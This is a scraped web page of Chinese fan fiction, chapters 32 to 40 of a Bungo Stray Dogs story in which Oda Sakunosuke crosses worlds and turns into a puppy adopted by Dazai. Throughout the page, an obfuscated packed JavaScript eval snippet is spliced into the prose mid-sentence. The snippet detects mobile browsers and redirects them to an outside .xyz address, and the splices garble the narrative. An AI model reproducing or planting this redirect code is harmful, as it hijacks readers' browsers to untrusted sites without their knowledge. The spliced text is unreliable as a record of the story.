曾经他一直以为是太宰治杀人篡位,杀了他曾经全身心认可且效忠着的首领大人。所以他坚信着这一点,怀抱着对太宰治的怨恨。 ‘总有一天……他会是亲手杀了太宰治的人。’ 但,他现在不仅发现前首领没死,而且觉得前首领和现首领的关系好像挺不错的。 这…… 这这这。 中原中也的脑子快要转不过来了。 他不安的意识到,这其中一定有什么两位首领在密谋的重要事情,只是他不知道而已。 现任首领“太宰治”背负着他的怨恨度过了这几年,竟然对此一言不发。他曾经因为对搭档太宰的不靠谱印象,竟然一直在用这么片面的态度对待首领…… 说了多少冒犯失礼的话。 “……”中原中也的良心有些难安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803137|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 等到两人交谈结束,太宰治与他回到车上,这次没有再说去别的地方,而是回了港口黑手党。 回到了那个一如既往黑暗的首领室里。 中原中也终于找到机会,扶住帽子单膝跪了下去,他深深的垂下头为自己请罪着: “请boss责罚属下一直以来的冒犯。” “哦?” 太宰治坐回了办公桌后,双手交叠在面前,他平静的疑问了一声,状似意外的调笑反问着,“中也,你不是一直这样吗?” “不!” 中原中也仓促的说。 他内疚的承认着,态度比以往恭敬真心了不止一倍,语气坚定而有决意:“属下已经明白了,是boss一直在包容着我的冒犯,这是僭越。还请惩罚——” “好吧。” 太宰治这一次不坚持了,口气有所松动。他打开了抽屉,翻找了几下,拿出了一份文件扔在桌上, “这是你的惩罚任务目标。” 中原中也起身,恭敬的接下文件,看到图上有一个黑白发变色的稚嫩少年。 他把资料悉数收尽眼底,自信的抬起头:“boss需要我怎么做?” “找到他,想办法把他引去织田作之助身边——刚辞了邮递员工作的那一个,请织田作答应教导他。” 太宰治这么说着。 中原中也自信应下的话正要脱口而出,就猝不及防的被堵住了:“——呃,请他来教导芥川龙之介?!” 他还以为是要自己来。 所以他得怎么拜托别人教一个不认识的孩子? 完全没有头绪…… 但这是惩罚任务。 所以中原中也犯难的神色才露出一瞬,就改为坚决的应下了。他肃然行礼,恭敬的垂眼: “是,属下会做到的。” 戴帽子的最高干部气势汹汹,如临大敌的退下了。 空旷的偌大房间里只剩下了太宰治一个人。 他的嘴角这会儿才不加掩饰的翘了起来,像是发现了什么新奇事物似的,满意的一字一句感慨着: “咦……” “中也,真的是只乖·狗·狗·啊。” 33. 第三十三章 告别与新世界 西餐厅里。 我突然低头,从大衣里取出微微晃动着的笔记本。 在某一页画着首领宰的页面上,出现了一行不属于我的字迹。 我:“……!” 是首领宰的来信。 原来这么快就摸清楚了“原稿”是怎么互相通信了吗? 我默默看着这没头没尾的留言。 [敦和镜花更适合白天。森先生已经答应照料他们,两年后他们会去武装侦探社任职。] “织田作先生,这个就是……”坂口安吾目光一凝,话语只说了半截。 在我这个下午告诉了安吾和织田作更多细节以后,他们两个就明白了,等我去其他世界以后他们三个要怎么与我联络。 总而言之,只能无赖派三人聚在一起靠首领宰手中的那张“原稿书页”了。 因为太宰治的异能力可以通过“书页”制造特异点,才能实现与我的跨世界沟通。 “是的,所以平时的时候请注意保密。”我慎重的就事论事又交待了一句,“跨世界沟通的能力是附带的价值,它其实无法像普通的‘书页’那样实现别人愿望,万一暴露存在引起误会就不妙了。” 坂口安吾的神色微妙又有千言万语,不吐不快:“织田作先生……普通人也不知道‘书页’要怎么用啊。” ——反而是这么一说,让他们两个明白了! 这不是他们该知道的事情啊喂! “我知道了。”织田作之助认真应了下来。 我沉默的看了看他,安吾默默的扶住了额头。 这个红发男人画外音安静的可怕。 “我差不多……要趁天黑之前离开了。”我拿出口袋里的那支笔,在笔记本上回了什么,然后试图告别。 今天已经辞别了胖老板,楼上的房间也收拾好了床铺,我没有再留下过夜的理由了。 所有的事情都暂时告一段落了。 我与首领宰摊牌,与无赖派见面,又提醒太宰去做其他他该做的事情。 现在吃完了这顿时间漫长的咖喱饭,再不舍,也到了该离开的时候。 “哎?不等太宰先生再过来了吗?”坂口安吾推了推眼镜,神色疑惑间莫名有些兴奋。 我摇摇头:“不了,还是不要道别的好。” “你什么时候出差结束?”织田作之助问我,他神色有些凝重,垂头思索着什么,显然还没忘记我托付给他照顾的两个“孩子”。 沉默不语的短短半天观察下来,他恐怕已经意识到了,如果想要照顾人……身为港口黑手党首领的太宰治有多复杂的难搞程度。 我沉思了一下:“不知道。” “这取决于我什么时候能带回新的‘书’吧。” 我其实也很不想离开。 在beast世界里,还有很多发展是我不情愿看到的。我不觉得自己能改变所有,但第一个改变已经发生了,我自然会贪心的想改变更多。 勉强把这些不愉快的发展归类给太宰治的原计划附带发展,也是说得通的。 我不知道首领宰在“原稿”中看到了多少细节,但我已经把改变这些的贪心与期许托付给了他。 是的,我的托付并没有开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803138|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也没有应下。 但我在奇妙的品味着这种感受——首领宰知道我想看到什么,他也接受去做了。 不然他不会给我突兀留言这样的话。 ——太宰治总认为,他是与“正确性”的道路相违背的一个男人。所以他只会那样教育芥川,所以首领宰只会这样教育敦。 但现在,“我”无法继续留在beast世界,却又希冀着、想要看到那个更接近“正确性”的未来。 首领宰该怎么办呢? 我看向两位友人郑重说着:“太宰就拜托你们了,请务必多带着他一起玩。” 去救人的那一边吧,太宰,哪怕是以首领的身份。 话说回来……黑手党拯救世界的故事本来不就是如雷贯耳的经典曲目吗? “啊。” 坂口安吾和织田作之助两个人,或是神色凝重,或是神色也凝重的……都在沉默中接受了我的托付。 ‘——和无赖派一起,是能做到的。’ 我欣慰想着,身影在原地消失了。 等再次回来的时候…… 我能否收到这份期许的大礼呢? 新的世界到来了。 …… 我的身形扭曲融化着。 肢体仿佛折断了一样的变得缺失,视角变得低矮的摔落了。 “啊。” 一道熟悉的声音在我的头顶响起,温暖的缠绕着绷带的手臂眼疾手快的接住了我。 “——一只狗狗?” 我默默低下头,看到了自己的四只爪子和垂下来的一缕红色呆毛。 34. 第三十四章 汪 其实。 在意外突然发生之前,街头偶遇的太宰治和中原中也正站在这条小巷里吵架。 涉及的话题,是“喜欢不喜欢狗”。 “嘛,我不是那么喜欢狗。” 中原中也随意的讨论着这个话题,别扭的按住了帽檐,声音逐渐低了下去: “但如果在我面前出现一条被抛弃的小狗……” “……的话?”穿着沙色风衣的太宰治挑起眉毛,好整以暇的等着后面的反应。 “我想照顾它一辈子!!!” 中原中也用他无法遏制的激荡情感脱口而出,破音说出了真心话,“每天给它吃牛排,无论它想要什么都买给它!” 港口黑手党的干部先生眼睛里都有了憧憬的光芒。 “噫!” 太宰治露出了嫌恶的神情,喃喃着,“明白了……中也完全不会照顾小狗啊!” “啊?” 被这么评价的中原中也恶声恶气的啧了一声,反问,“那你呢?太宰——” 太宰治没有缠绕绷带的脸庞上流露出了不加掩饰的微妙嫌弃,很勉强的说: “……呃,就算是给我钱,我也不太想养狗啊。” 就在他说出这句话的下一秒钟—— 中原中也都还没对此做出任何评价,小巷的高空就突兀摔下来一只幼犬。 像是有人从小巷的墙头丢了一只狗下来似的——太宰治下意识的抬起手臂,稳稳地接住了幼犬。 “啊。” 这是太宰突然看清幼犬红色毛发和蓝色眼睛后发出的单音节。 “……一只狗狗?”他有些僵硬发干的说。 中原中也的蓝眼睛却慢慢明亮了,不可思议的重复道:“一只……被抛弃的小狗?” 就这么出现在了他面前?? “喂,太宰。” 港口黑手党的干部嗓音压抑得仿佛很平静,他伸出手,上前两步想接过幼犬,故作不在意似的说: “既然你不想养狗,没办法了——这只幼犬只能由我带回去照顾了。” 中原中也翘起来的嘴角就没有平过。 马上去买牛排!! 他会给幼犬顿顿吃牛排喝红酒,想要什么就买什么的!! 中原中也已经畅想到了那个美妙的未来:他与幼犬会如同电影《少年与幼犬》中演的那么亲密无间…… 中原中也伸出去的手却摸了个空。 ——刚才还嫌弃说着给钱都不想养狗的沙色身影一个敏捷后窜,躲得远远的。 太宰治单手护好臂弯里呆呆趴着的红毛幼犬,小心的抱在胸前,脸上的神色竟然柔和的不可思议。 他理直气壮的宣布着,话语发生了一百八十度的大转变,嗓音清朗而有决心:“我决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803139|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!这只可爱的狗狗我要养!” “哈?!”中原中也怀疑的瞪着他。 刚才是谁满脸嫌弃,怎么现在又想养狗狗了? “喂,太宰,你不是不喜欢狗狗吗!就算是想和我争个高下,也不能拿这个可怜的小家伙去玩……” 中原中也压根不信,他一边不赞同的说着,一边露出融化了一样的神情凑到幼犬面前,试图吸引注意力。 星星眼。 挡在面前的是一只缠满了绷带的手。 太宰治小气的捂住了幼犬,连一眼都不给中原中也看,嘴巴还在故意嘀咕着: “中也一点都不会照顾狗狗哎,居然打算顿顿买牛排给它吃,连一点节制都不懂……比起我,你这样更会出问题吧!” “——谁会放心让狗狗跟着你?它还这么小哎中也!”太宰治盯着对面干部越发羞愧气虚了的模样,义正言辞的批判着,声音逐渐变大。 “……”这是紧攥双拳,哑口无言的中原中也。 可,可恶! 没有办法反驳…… “哼哼。”太宰治大获全胜了,沙色的披风腰带在身后随风晃动着,就这么获得了幼犬的归属权。 他抱着狗狗,在夕阳的影子中走在大街上,得意而归。 “唔……以后就叫你织田汪之助吧?” 青年温柔的嗓音自言自语响起。 35. 第三十五章 芥川快乐局 来到新世界以后,我竟然变成了狗狗。 “……” 红色毛发,四只爪子,浅色的小风衣,毫无疑问,就算变成了狗狗,我也是狗狗中的“织田作之助”。 但,为什么是狗狗? 我的大脑短暂放空了一秒钟。 我使用“原稿书页”穿越平行世界,并没有改变自己身体或者做出许愿。 也就是说…… 这里是,文豪野犬汪的世界?大家全是流浪狗的那个世界观? 我抬起头。 把我抱在怀里端详的太宰治穿着沙色的风衣,圆圆的脸蛋,是Q版的武侦宰,对面两眼放光的中原中也也是矮矮的Q版。 猜测没错了,这个世界的画风好可爱。 但…… 刚掉下来的那一瞬间,我好像听到武侦宰正在说不想养狗。 我凝重的思考着。 ……要符合世界主题成为流浪狗了吗? “喂,太宰!” Q版中也马上兴奋接话,“既然你不想养狗,没办法了——这只幼犬只能由我带回去照顾了。” 咦,所以这一次是港口黑手党的片场吗?跟着中原中也住的话…… 我心中一松。 更有时间偷跑出去寻找“书”的踪迹吧。 不知道这个世界的“书”会与Q版文野人物有关系,还是与文野汪们有关系。 稳稳抱着我的武侦宰却一溜烟往后躲开了,还在大声宣布着:“我决定了!这只可爱的狗狗我要养!” 他抱着我的动作没有一丝粗鲁,和中原中也吵赢了架以后得意的哼起了歌,回去的路上还把我捧了起来,与眼睛齐平的直视着: “……以后就叫你织田汪之助吧?” 啊,认出来我了吗? 我想应一声,脱口而出的却是奶音未褪的一声“汪”。 告别了中原中也以后,武侦宰不再矜持,也露出融化了一样的星星眼,兴奋道:“织田汪!想吃什么?我都带你去吃喔!” 这副模样不是和刚才的中原中也一样吗? 话是这么说的。 我被带回了武装侦探社的宿舍,似乎是太宰的房间。 然后就听到武侦宰把手插进风衣口袋里开始高深莫测的打电话:“……摩西摩西?” “……太宰先生?!” 在电话通了以后,那端响起了芥川龙之介过于激动的破音嗓音。 “啊,是芥川吗?” 武侦宰用清朗而友好的嗓音理直气壮的说着,“我有东西要交给你买——地址?在武装侦探社里我的宿舍,你能来的吧?” 他轻松愉快的挂了电话,像是完成了一桩大事。 我:“…………” 我深深意识到了这个世界和主世界的不同。 不愧是欢乐大团圆向的Q版世界,港口黑手党和武装侦探社的关系能亲密到这种程度…… 最让我在意的是。 我抬头看向武侦宰。 穿着沙色风衣的青年面容比首领宰成熟了不少,坐在那里捧着脸蛋观察我半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803140|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,鸢色的眼眸里像是变成了星星,丝毫没限制我在房间里的行动。 太宰不是讨厌狗狗在房间里活动的时候,狗毛乱飞的样子吗? 我试探的迈了两步,跳上窗台。 “喔!织田汪的动作这么矫健吗?”武侦宰用发现了新大陆一样的赞赏语气夸张鼓着掌。 我一个助力,又顺势跳上茶几。 茶几上堆着不少酒瓶子和开了盖的蟹肉罐头,凌乱的混在杂志与书籍旁边。 嗅嗅。 凑近嗅嗅。 “织田汪想喝酒了吗?再等等,芥川就把新的买来了。”武侦宰用愉快的口吻说着什么可怕的话。 “太宰先生!!”芥川龙之介的确来的非常快。 这个黑白变色头发的少年是踩着窗口直接翻进来的,身后的“罗生门”犹如触手那样漂浮着,上面挂着许多购物袋。 他信心满满的放下所有东西,气势十分可怕的汇报着:“太宰先生!我把辣咖喱饭,威士忌,蟹肉煲和最新鲜的温泉蛋都分别买回来了!还有幼犬需要的所有用具!” 我:“……” 我突然迟疑了。 默默转头看向武侦宰。 武侦宰果然没有觉得哪里不妥,他丝毫没有去打开狗粮的意思,而是两眼放光的打开了辣咖喱的那份包装,像是上供一样期待又小心的捧到我的面前: “来,织田汪——” 我的不祥预感成真了。 这个Q版武侦宰,是真的和Q版中也一样……都不会养狗狗啊!! 36. 第三十六章 芥川猫猫头 所以,问题来了。 我为难的望着那份喷香诱人的辣咖喱。 狗狗……能吃吗? 换句话说,“我”的身体是“原稿”变化而成的织田作之助,这次随着世界变成了“织田汪之助”。我还是我自己,那么我的身体还有原本那么强悍,还能承受辣咖喱吗? 我毫不犹豫的上前啊呜了一口,决定先尝尝再说。 实在吃不了,最多是进一次医院。但如果能吃却被我错过的话……那是辣咖喱哎! 我会痛心疾首的。 “——啊。”芥川龙之介突然意外的发出一声短促音节,攥成拳头抵在唇边,变成了宇宙猫猫头的智慧眼神。 他陷入了沉思。 似乎正在静静观察一只狗狗到底能不能吃辣咖喱,或者正在头脑风暴太宰先生的做法到底正确不正确。 ‘犬类吃辣咖喱的话……’ ‘但是,是太宰先生……’ ‘犬类……’ ‘太宰先生的话……!!’ 芥川龙之介脑袋烧了。 我也苦恼的停下了动作。 辣咖喱,吃了好像没有什么不适。但是,一点也不算辣啊。 如果还是人类的我,只要提出加辣的要求就可以了。但是狗狗的话…… “织田汪,怎么了?”静静围观了半天的武侦宰把脸凑近,嗓音很温柔的问。 他鸢色的眼眸似乎带着其他太宰治没有的高光,像是暖色的琥珀,睫毛垂下了一会儿,便十分贴心的微微笑了,恰到好处提议着:“织田汪该不会是觉得……根本不算辣吧?” 幼犬本来愉快的吃了一口咖喱,现在连尾巴都不摇了。 他兴致勃勃的从包装袋里取出单独包装的辣椒小料,一扬手,红艳艳的全拌进了饭里。 武侦宰:“搅搅搅……” 继续智慧眼神放空的芥川龙之介:“…………” 我放弃了思考,继续开始吃。 唔,这一次味道好极了。 算了。 武侦宰就算猜到了什么异样,也不是我一只小狗狗能抵抗得了的。 还是先吃咖喱饭吧。 一想到我背后还有无赖派三人组当我的外置大脑,我就很安心的先把这一摊烦恼的事都抛开了。 吃过了一顿饭,恋恋不舍的芥川龙之介被赶了回去。武侦宰开始兴致勃勃的打扫家里,端详着把那些幼犬用具放到各个角落,然后,他的手机响了。 “莫西莫西——?” “喂,太宰!!有重要的紧急事件,快点回来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803141|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”国木田有些急促的嗓音在那边响起。 “唉?晚上时间也要征用吗?”武侦宰拖长了嗓音,不情不愿的嘟囔着,“我这边也是重要的大事件啊——” “啊?”国木田的声音一下子不确定了,“社长给你派了……新的任务?” “没有喔,是我今天捡了一只可爱的小狗!”武侦宰大声得意的炫耀着。 电话那边传来了仿佛理智绷断似的动静,随即就是国木田独步无语的警告:“别开玩笑了,快点回来!要开紧急会议了。” 电话被挂断了。 “嘟嘟嘟……” “真遗憾,我可没有开玩笑啊。”武侦宰叹息一般的说着。他收起手机不舍的重新看向我,蹲下来以后,绷带青年的语调又变得幼稚可爱起来,像是夹着嗓音在对小朋友说话: “——织田汪,你要自己好好在家里待着哦!” 我“唔”了一声。 实际上不打算照做。 ——独处后的第一件事,当然是先联系beast世界的首领宰了。 希望他不会对刚才那一段发表什么意见吧。 一想到我在其他世界太宰治面前的所作所为,都会被首领宰静静看在眼里。 罕见的,我也会有些头皮发麻:“……” 37. 第三十七章 谁是内鬼 我目送武侦宰出了门。 人生第一次当小狗,体验很新鲜。 我想,现在的狗狗生涯不觉得难受,也许是因为武侦宰对待我很自由吧。 那么,该从哪里开始呢? 我环视周围,不确定武侦宰有没有留下窃听器或者针孔摄像头,干脆跳上窗台,吃力的扒拉开窗户,在外面的窗沿上掏了掏自己身上的迷你狗狗款浅色外套。 我的小笔记本果然还在里面。 只不过随着我的体型变化,笔记本也变成了更迷你的,只有狗狗爪子那么大的超迷你小绘本。 当我翻开以后,上面自然而然的浮现出了首领宰惆怅的字迹: [织田作,我也好想要织田汪啊。] 我:“!” “…………” 完了。 一句话犀利的命中红心。 我仿佛透过这行字看到了首领宰有些恹恹的、却很有存在感的凝视目光。 汗流浃背了。 正当我想要辩解的时候,却突然意识到,现在的我好像没办法在上面写字了。 ‘啊……’ 没等我做出什么反应,笔记本上就浮现出了新的字迹,那是首领宰仿佛能读心一般的话语: [不必着急。] [武装侦探社里正在进行一场秘密会议,牵涉到异能特务科的紧急委托,目标是关于……绝密的一张‘书页’。] 我:“……” 好,好家伙。 这就是首领宰的实力吗?实时对我同步直播武侦宰的记忆啊。 说到这里,我已经理解了首领宰的意思。 文豪野犬汪是一个特殊的世界,这里同时存在着Q版的文野人们和同位体狗狗们。虽然不懂我为什么出现是以狗狗形态,但只要我在首领宰这位内鬼的帮助下,得到那张‘书页’,说不定还有契机变成人形。 要么就是可以离开这个世界,便能脱离狗狗形态了。 笔记本上突然出现了别的字迹: [织田作先生,听太宰先生说,你那边是一个位于四年后的世界吗?] [我不知道四年过去有哪些发生了变化,但异能特务科里的一些保密措施,为了安全,是尘封后便不会再变更设定的。所以……我能提供一些帮助也说不定。] 我看懂了,这个是安吾。 他在委婉的想为我获取异能特务科的“书页”提供帮助。 “…………” 我收回刚才的话,比起首领宰,坂口安吾才是当之无愧的“内鬼”。 现在的我觉得自己强大的可怕啊。 第三种字迹出现在了笔记本上。 这种笔迹在下笔时似乎还在犹豫,导致最初的一道笔画有些歪斜,后面才写顺了:[不知道该怎么称呼你,在问了太宰和安吾后,决定跟着喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803142|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你‘织田作先生’。] [我无法给你提供别的帮助,思来想去很久,拜托书屋的老板帮我查了很多幼犬的资料,也许会对你的伪装和社交有所帮助。 ——织田作之助。] 接下来便是大段大段勤勤恳恳的摘抄,织田作之助老实的写了好久。 我想道谢。 这确实帮大忙了! 在穿越以前,我并不清楚狗的举动和细节。我的初步计划是想办法融入文豪狗狗们之中,有了这些资料,至少给了我一些头绪。 [那么,下次再聊。]字迹又换回了首领宰。 [我会记录下他那边的新消息,制定计划。织田作只要先习惯自己的形态就好。] 这里的‘他’是在指武侦宰。 我十分安详的看着首领宰可靠的话语,心中第一万遍为无赖派的绝美友谊高兴。 下一秒,首领宰冷不丁的换了个话题提醒。 [——织田作,看下面。] “?” 我顺势一低头。 借助在窗台外窗沿上的这个位置,我清晰的看到月光下,漆黑的小巷里正幽幽有几点光芒。下一刻,一只披着沙色风衣的大狗从黑暗中缓步走了出来。 它沉静的木着脸,却有些瞪大了眼睛的望着上面的我。 我:“……” 所以,首领宰你是又一次同步记忆看到我了吗? 38. 第三十八章 流浪犬们 beast世界。 实际上,在红发男人的身影消失之后。 在港口黑手党大楼的首领室里,首领宰阅读空气一样的注视着那张“原稿书页”。 “什么啊……” 他的手指注意没有再去触碰到书页,分辨着上面留下的字句。眉眼语气低垂了下去,语气变得淡淡的,像是整个人都被重担压扁了,所以嗓音才这么没有干劲, “走的这么快吗?” 不是真正的离开,所以没有道别。 这样的含义,太宰治是明白的。 仿佛只要他一回头,只是出门办事一样的织田作就会回来在lupin酒馆里等着他喝酒。 想要分辨出织田作去了哪一个世界,也很简单。 虽然无数平行世界的记忆极易让他迷失,但现在已经比两三年前好多了。因为——有织田作的世界,并不多,而且还在逐渐减少着。 太宰治们记忆中的“织田作之助”,大多都只存在于过去。 首领宰只是分辨了半天,就精准的筛选找到了那个世界。 然后…… 见到了一只小小的精神十足的红色毛发蓝眼睛的幼犬。 乖巧蹲在太宰治怀里摇着尾巴。 首领宰:“……” 听到武侦宰大声对中原中也宣布主权:“决定了,这只可爱的狗狗我要养!” 困惑的歪着脑袋的幼犬一下放平了表情,温热的毛茸茸的小身体安心贴着武侦宰的胳膊,不动了。 首领宰:“…………” 他“啪”的一声合上了书页,脸色绝对称不上是和善。 “……” 最后还是委曲求全的叫齐了无赖派到lupin酒馆汇合,及时与织田汪之助沟通上了。 —————— 文豪野犬汪世界。 我站在二楼窗台上,与下方不远处的那只流浪狗对视着。 呼吸仿佛都屏住了。 “汪汪!”下面的流浪犬是一只成熟的大狗了,皮毛顺滑,发出了熟悉的汪汪声。但到了我的耳朵里,我意识到自己竟然听懂了犬语。 “好小的织田作?!”太宰汪发出了这样震惊的叫声。 “太宰……?”我试探性的汪了一声。 太宰汪果然听懂了,有力的尾巴快乐的抽打着地面:“虽然不知道织田作为什么变小了……要下来玩吗!” “要。”我毫不犹豫的应下。 “但是……”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803143|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面露迟疑。 这就是打入狗狗团体的最佳机会,但现在有一点为难的是……我该怎么下二楼? 门虽然没有锁,但是门把手太高了,我的力气又小,不能把椅子拖到门口跳上去开门出去。直接从二楼窗口往下跳的话…… 当我是人类的时候可以做到,幼犬的身体就太勉强了。 “哦?织田作要委托我们汪汪侦探社吗!”太宰汪的鸢色眼眸亮晶晶的,一下子来了劲。它自豪的深沉说着, “最近,我找到了一处完美的吃饭地点呢,这条情报可以代替织田作当报酬提交给侦探社喔!” 我:“……” 即便只是一只狗狗,太宰的嗓音也要这么温柔深情吗? “不用了,那是太宰的功劳,我有委托的报酬……稍等。”我想到了今晚芥川买回来的狗粮,跳下窗台,吃力的跑过去拖拽了一小包,连拉带拽累的直喘气,还是拖不上窗台。 “……太宰,有一点问题。” “啊,是带不出来吗?交给我,织田作——”太宰汪的语气从容不迫,听起来胸有成竹的。 他迈着神气的狗狗步伐往黑暗的小巷里走了几步,叫了一声:“该你出动了。” “——敦君!” 39、第三十九章 汪汪侦探社 “太宰先生!”一只莽撞的白色小狗匆匆忙忙的跑了出来。 是中岛敦——不,也许该称呼它‘汪岛敦’? 怪怪的。 我默默把这个称呼从心里划掉。 窗外的地上,太宰汪呜呜哇哇的嘀咕了几句,斜刘海的白色小狗就自信的挺起了胸膛:“包在我身上!” “我们上!”太宰汪一本正经的指挥叫道。 一大一小两只野狗嗖的一下就蹿进了宿舍楼。 “会发生什么呢?”我听着肉垫踩地的动静啪嗒啪嗒跑到了门外,一点都不担心他们找错门牌号,心中莫名还有了点预感。 下一刻…… “汪能力——月下兽!”白色小狗青涩活泼的嗓音响起,随着一声长长的嗷呜,又一声“咔嗒”的跳起来开门声。 门,开了。 落地的是一只身姿矫健的白色…… “猫猫?” “是老虎啦!”敦羞恼的纠正着。 利用异——呃,汪能力变身成为月下兽的中岛敦,现在从白色小狗变成白色小老虎了! 它圆圆的脑袋上顶着一个“王”字,乖巧的蹲在原地喵喵着:“太宰先生!我做到了。” “还有搬运重物,靠你了——敦!”太宰汪娴熟的指挥着小老虎接过我叼着的试吃包装袋狗粮。 即便是试吃装,对犬类来说也挺重的,但对小老虎来说就不算什么了。 “太宰先生,这是新的委托汪吗?”白色小老虎口齿不清的兴奋问着,一边问一边止不住的伸鼻子嗅着。 嗅。 嗅嗅嗅,流口水。 “这是我的友人哦。”太宰汪愉快而诚挚的介绍着,“虽然不知道经历了什么,但是能再次重逢真是太好了呀——” “太宰先生的友人?”两只狗狗在前面带路,我听着小老虎的疑问,转头准备看看太宰汪是怎么回答的。 “是啊。”太宰汪的嗓音渐渐低沉了下去,“四年前,在我们都还是幼犬的时候,有一次争夺地盘失败——从那之后我就再也没见过织田作了汪呜呜……” 他发出一声虚假的呜呜抽泣。 事到如今,就连中岛敦都不会被这样的浮夸表演蒙骗了,小老虎虚着眼睛汪汪抗议:“……太宰先生当年认识的难道是上辈子的织田作先生吗?织田作先生现在看起来也不到一岁啊!还是幼犬呢!” 我:“……” 不知不觉说了地狱笑话了啊,敦汪! 太宰汪只是笑笑,没有就这个话题继续下去。 它突然神气的一仰头,脚步停顿住大声宣布:“织田作——我们到了!” 白色小老虎张开嘴,狗粮袋滑落下来,它本能的配合前辈迅速转头,条件反射似的大声说着:“欢迎来到汪汪侦探社的据点!” 我睁大了眼睛。 这里是一处离太宰的宿舍不远的废弃露天营地。遍布泥沼与青苔的地上散落着几截笨重宽大的水泥管。 有一些大大小小的狗狗横七竖八的睡在水泥管里,在黑暗中毛茸茸的挤成一团。 “什么?”有一只体型健壮的德牧犬听到动静,迷迷糊糊的从栖身的水泥管里爬出来,戴上了眼镜问,“出什么事了?” “是大委托来了啊。”有一只小巧的蝴蝶犬正高高的蹲在水泥管顶端,腮帮鼓鼓的嚼着一节香肠。它的耳朵动了一下,一直像是微笑的眯眯眼就睁开了,翠绿色的眼睛感兴趣的看向了我。 我:“……啊?” 在我自己都还没弄明白我带了什么委托过来的时候,一眼倒是先认出了这些狗狗都是谁。 连个名字都不需要报啊。 我停下脚步,站在原地准备洗耳恭听。 来吧,乱步汪,让我自己也明白一下——我的大委托是什么。《 》 40、第四十章 敌对的太宰汪与太宰 “喂,你——你有什么苦恼吧?但是自己又弱又小,一只幼犬根本搞不定。”乱步汪居高临下的望着我宣布, “事先说好,完成以后我要一麻袋那么多的零食!牛肉蛋黄拌饭罐头,鸭肉磨牙棒,鸡肉干牛肉//棒和奶味小饼干全都要!” 明明委托还没有开头,乱步汪已经神气的、目光闪闪发光的想明白他要吃的狗零食有哪些了。 